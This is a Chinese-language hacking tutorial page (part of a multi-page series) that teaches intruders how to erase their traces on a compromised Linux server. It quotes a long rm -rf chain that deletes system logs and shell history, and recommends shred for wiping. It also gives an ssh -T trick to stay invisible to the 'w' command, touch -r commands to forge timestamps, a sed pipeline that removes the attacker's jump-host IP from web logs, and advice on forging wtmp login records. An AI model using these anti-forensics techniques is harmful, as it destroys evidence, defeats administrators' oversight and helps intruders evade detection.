|
需要注意的一点是,我们需要先看看日志的存放位置,有的管理员会修改日志保存的位置,一般来说,我们可以查看/etc/syslog.conf来获得log文件存放的位置。但要注意的是,有的管理员(及其负责)会重新编译syslogd文件来重新指定log存放的位置,怎么办?在这种情况下可以用strings来看下/sbin/syslogd这个文件,这种管理员我只在书里看到过,至少我没遇到过: P。这个配置文件里面记录了系统存放某些log的目录,如secure文件等。下面我们就会根据这个文件来清理和修改日志。
现在可以在网上公开获得的日志清除程序代码很粗糙,我曾经看到过最夸张的清日志的代码像这样:
|
rm -rf /var/log/lastlog ; rm -rf /var/log/telnetd ; rm -rf /var/run/utmp ; rm -rf /var/log/secure ; rm -rf /root/.ksh_history ; rm -rf /root/.bash_history ; rm -rf /root/.bash_logut ; rm -rf /var/log/wtmp ; rm -rf /etc/wtmp ; rm -rf /var/run/utmp ; rm -rf /etc/utmp ; rm -rf /var/log ; rm -rf /var/adm ; rm -rf /var/apache/log ; rm -rf /var/apache/logs ; rm -rf /usr/local/apache/log ; rm -rf /usr/local/apache/logs ; rm -rf /var/log/acct ; rm -rf /var/log/xferlog ; rm -rf /var/log/messages ; rm -rf /var/log/proftpd/xferlog.legacy ; rm -rf /var/log/proftpd.access_log ; rm -rf /var/log/proftpd.xferlog ; rm -rf /var/log/httpd/error_log ; rm -rf /var/log/httpd/access_log ; rm -rf /etc/httpd/logs/access_log ; rm -rf /etc/httpd/logs/error_log ;rm -rf /var/log/news/suck.notice ; rm -rf /var/spool/tmp ; rm -rf /var/spool/errors ; rm -rf /var/spool/logs ; rm -rf /var/spool/locks ; rm -rf /usr/local/www/logs/thttpd_log ; rm -rf /var/log/thttpd_log ; rm -rf /var/log/ncftpd/misclog.txt ; rm -rf /var/log/ncftpd.errs ; rm -rf /var/log/auth ; rm -rf /root/.bash_history ; touch /root/.bash_history ; history –r |
整个一rm集合,要是服务器跑了很长时间,积累了很多日志。你这样一删除,的,你帮他省事了,他也省事,一眼就看出有人进来了。
先不说其他,用rm删除就不可取,正确的删除文件做法是用shred
shred -n 31337 -z -u file_to_delete
这样多次擦除才够安全。呵呵
下面具体的针对日志文件进行分析。
W命令提供了管理员查看当前登录帐户的功能,所以与管理员同台共演是件很危险的事情,能不做就不做,但也有人曾经上演过local exp后,装上tty 然后T管理员下线截获登录密码的好戏。呵呵,如何让w不显示你登录了呢?
用rootkit我就不废话了,这里有个小窍门,即使是普通用户登录管理员也不能看见:
在跳板上登录目标ssh -T somebody@1.1.1.1 /bin/bash –i 你可以试试,很好用哦。
OK,言归正传
首先第一个概念是timstamp,也就是你用ls –l 看到的东西,我们在修改一个LOG文件之前或者留后门之后都得留心下这个时间,有很多管理员喜欢通过timestamp来查找入侵者留下的东西。记住以下命令
touch -r 具有你希望改成的时间的文件 你要改变的文件 他能够使得两个文件的timestamp保持一致。
在你修改日志之前,你可以在/dev/shm下面建立一个临时文件,并将log的timestamp保存下俩,然后再touch回去。为什么要用/dev/shm 目录在第三节会有说明。当然我们也可以用程序实现,不过有的时候我们会碰到没有见过的日志类型,所以有时候需要手工改写日志。除了时间之外,还需要注意文件的其他属性,比如所有者或是否有粘滞位等等。这些都需要注意。
Linux 的日志散落在系统各处,同时系统管理员也能够灵活的制定日志保存的位置,这就要求我们非常小心,采用通用的日志移除或改写工具是很不明智的,为此我们要对需要修改的日志系统有个全面的了解。具体的内容请参看文章《Linux服务器日志管理详解》。
这里提供个工具
http://lists.darklab.org/pipermail/darklab/2006-May/000234.html
怎么使用自己去看看吧。我个人还是倾向于某个日志用某个特定的清除或修改器,这样灵活性更大点。
我们也可以使用sed命令行工具来清除某些日志,通常我会这样修改web日志:
|
touch /dev/shm/timestamp; touch -r access_log /dev/shm/timestamp;sed'/192\.168\.44\.1/d' access_log > /dev/shm/backlog ; cat/dev/shm/backlog > access_log; touch -r /dev/shm/timestamp./access_log ;shred -n 255 -z -u /dev/shm/timestamp; |
这里192.168.44.1是我跳板的IP。
具体的log修改和擦除工具,各位道长就从网上下个现成的自己改改吧,呵呵,我就不在这献丑了。
还有一点,我们要将wtmp文件中的登录日志修改成原来管理员登陆的IP和时间 也就是第一节中记下的时间与IP。如果实在得不到 root权限,我们也可以ssh localhost一下来隐藏登录IP。
上一页 [1] [2] [3] 下一页 |